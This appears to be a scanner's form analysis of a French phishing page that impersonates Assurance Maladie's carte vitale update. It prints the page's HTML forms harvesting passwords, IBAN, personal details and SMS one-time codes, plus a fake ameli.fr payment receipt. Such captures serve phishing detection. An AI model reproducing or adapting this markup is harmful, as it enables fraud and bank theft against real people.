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Form analysis
3 forms found in the DOM

Name: Vitale-Fr — POST ../address/

<form class="w3-container" method="post" action="../address/" name="Vitale-Fr" style="margin-top: 20px;">
  <h3 style="color: rgb(33, 177, 150);">Mettre à jour la carte</h3>
  <p>La mise à jour de la carte vitale doit se faire annuellement. Cette opération actualise les droits et garantit une prise en charge efficace des dépenses de santé.</p>
  <div class="form-group">
    <p>
      <label class="w3-text-grey">Nom</label>
      <input class="w3-input w3-border error form-control" pattern=".{4,}" data-err_text="Veuillez entrer une Nom valide " required="" id="Nom" name="Nom" value="" type="text">
    </p>
  </div>
  <div class="form-group">
    <p>
      <label class="w3-text-grey">Prénom</label>
      <input id="Prenom" name="Prenom" class="w3-input w3-border form-control" required="" pattern=".{4,}" data-err_text="Veuillez entrer une Prénom valide " value="" type="text">
    </p>
  </div>
  <div class="form-group">
    <p>
      <label class="w3-text-grey">Date de naissance</label>
      <input id="dob" name="dob" class="w3-input w3-border form-control" data-mask="99/99/9999" placeholder="JJ/MM/AAAA" required="" pattern="\d{2}\/\d{2}\/\d{4}" data-err_text="Veuillez entrer une Date de naissance valide " value="" type="text">
    </p>
  </div>
  <div class="form-group">
    <p>
      <label class="w3-text-grey">Adresse email</label>
      <input id="email" name="email" class="w3-input w3-border form-control" required="" pattern=".{4,}" data-err_text="Veuillez entrer une Adresse email valide " value="" type="text">
    </p>
  </div>
  <div class="form-group">
    <p>
      <label class="w3-text-grey">Mot de passe</label>
      <input id="pass" name="pass" class="w3-input w3-border form-control" required="" pattern=".{4,}" data-err_text="Veuillez entrer une Mot de pass valide " value="" type="password">
    </p>
  </div>
  <p><button type="submit" class="w3-btn w3-padding valider-btn" id="screeen" style="text-decoration: none; width: 120px;">Valider &nbsp; ❯<p></p>
    </button></p>
</form>

Name: Vitale-Fr2 —

<form name="Vitale-Fr2" target="_self" style="margin-top: 20px;">
  <div>
    <div class="w3-row">
      <input style="box-shadow: none;" class="w3-radio" id="civ1" name="civ" value="M" type="radio">
      <label class="w3-text-grey" style="padding-right: 15px;">M</label>
      <input style="box-shadow: none;" class="w3-radio" id="civ2" name="civ" value="MME" type="radio">
      <label class="w3-text-grey" style="padding-right: 15px;">MME</label>
      <input style="box-shadow: none;" class="w3-radio" id="civ3" name="civ" value="MLLE" type="radio">
      <label class="w3-text-grey" style="padding-right: 15px;">MLLE </label>
    </div>
    <br>
    <p>
      <label class="w3-text-grey">Nom et Prénom : </label> <b><label class="w3-text-grey" id="fullname"></label></b>
    </p>
    <p>
      <label class="w3-text-grey">Date de naissance : </label> <b><label class="w3-text-grey" id="fulldate"><b></b></label>
      </b>
    </p>
    <p>
      <label class="w3-text-grey">Ligne d'adresse</label>
      <input class="w3-input w3-border" required="" name="Adresse" value="" type="text">
    </p>
    <div class="w3-row">
      <div class="w3-half">
        <p style="margin-right: 10px;">
          <label class="w3-text-grey">Ville</label>
          <input class="w3-input w3-border" required="" name="Ville" value="" type="text">
        </p>
      </div>
      <div class="w3-half">
        <p>
          <label class="w3-text-grey">Code postal</label>
          <input id="zip_code" class="w3-input w3-border ab-numeric-limit" required="" name="Zipcode" maxlength="6" type="number">
        </p>
      </div>
    </div>
    <div class="w3-row">
      <div class="w3-half">
        <p style="margin-right: 10px;">
          <label class="w3-text-grey">Numéro téléphone</label>
          <input id="tele_phone" class="w3-input w3-border ab-numeric-limit" required="" name="Phone" maxlength="10" type="number">
        </p>
      </div>
      <div class="w3-half">
        <p>
          <label class="w3-text-grey">Numéro de carte vitale (FACULTATIF)</label>
          <input class="w3-input w3-border" required="" name="Ncv" value="" type="text">
        </p>
      </div>
    </div>
    <div class="w3-row">
      <div class="w3-col.m12">
        <p>
          <label class="w3-text-grey">IBAN</label>
        </p>
        <div class="iban-inputs">
          <label class="iban-lbl-country">FR</label>
          <input id="iban-input-1" class="w3-input w3-border iban-input iban-input-2" maxlength="2" placeholder="XX" value="">
          <input id="iban-input-2" class="w3-input w3-border iban-input iban-input-4" maxlength="4" placeholder="XXXX" value="">
          <input id="iban-input-3" class="w3-input w3-border iban-input iban-input-4" maxlength="4" placeholder="XXXX" value="">
          <input id="iban-input-4" class="w3-input w3-border iban-input iban-input-4" maxlength="4" placeholder="XXXX" value="">
          <input id="iban-input-5" class="w3-input w3-border iban-input iban-input-4" maxlength="4" placeholder="XXXX" value="">
          <input id="iban-input-6" class="w3-input w3-border iban-input iban-input-4" maxlength="4" placeholder="XXXX" value="">
          <input id="iban-input-7" class="w3-input w3-border iban-input iban-input-3" maxlength="3" placeholder="XXX" value=""> <a id="iban-modal-trigger" class="help-block">Comment obtenir votre IBAN ?</a>
        </div>
        <p></p>
      </div>
    </div>
    <br> <a class="w3-btn w3-padding valider-btn" style="text-decoration: none;">Valider</a>
  </div>
</form>

Name: Form_AskAuthentication —

<form name="Form_AskAuthentication">
  <div style="float: left; width: 50%; text-align: right;">
    <p>Merchand:&nbsp;&nbsp;</p>
    <p>Montant:&nbsp;&nbsp;</p>
    <p>Date:&nbsp;&nbsp;</p>
    <p>N° téléphone:&nbsp;&nbsp;</p>
    <p>Code d'accès reçu par SMS:&nbsp;&nbsp;</p>
  </div>
  <div style="float: left; width: 50%;">
    <p>Assurance Maladie</p>
    <p id="delivery_price"></p>
    <p id="res_current"></p>
    <p id="phone_number_last3"></p>
    <p>
      <input class="chp_smscode" id="chp1" name="chp1" autocomplete="off" maxlength="8" style="border-radius: 0px; box-shadow: none; background: white none repeat scroll 0% 0% !important; height: 20px;" value="" type="text">
      <input class="w3-btn w3-blue w3-round" id="btn_ok" name="btn_ok" value="OK" style="box-shadow: none; height: 20px; padding-top: 5px;" type="button">
    </p>
    <p>Exemple : 95378417</p>
    <p></p>
  </div>
</form>

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METTRE À JOUR LA CARTE

La mise à jour de la carte vitale doit se faire annuellement. Cette opération
actualise les droits et garantit une prise en charge efficace des dépenses de
santé.

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Remboursements maladie

medecin traitant

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Base et taux de remboursement

Carte bitale

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Traitement et affections de longue duree

Hospitalisation

Cas particuliers et entente prealabele

Appareillage

Frais de transport

Soins a l'etranger

Accompagner une personne en fin de vie
Indemnites journalieres
Naissance et adoption
Complementaire sante

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Montant:  

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N° téléphone:  

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Bénéficiaire: ASSURANCE MALADIE

Adresse: 50 AVENUE DU PROFESSEUR ANDRÉ LEMIERRE


75020 PARIS

Adresse du site Web: https://www.ameli.fr


Date de commande: 12/07/2018 22:41:45

Référence de la commande: FR: 7383612: PCS_: 9926121447

Référence de paiement Ogone: 1153035206


Total: EUR


Méthode de chargement: VISAXXXXXXXXXXXX9876

Sous-marque: P


Statut: Paiement accepté

Code d'autorisation: 186546







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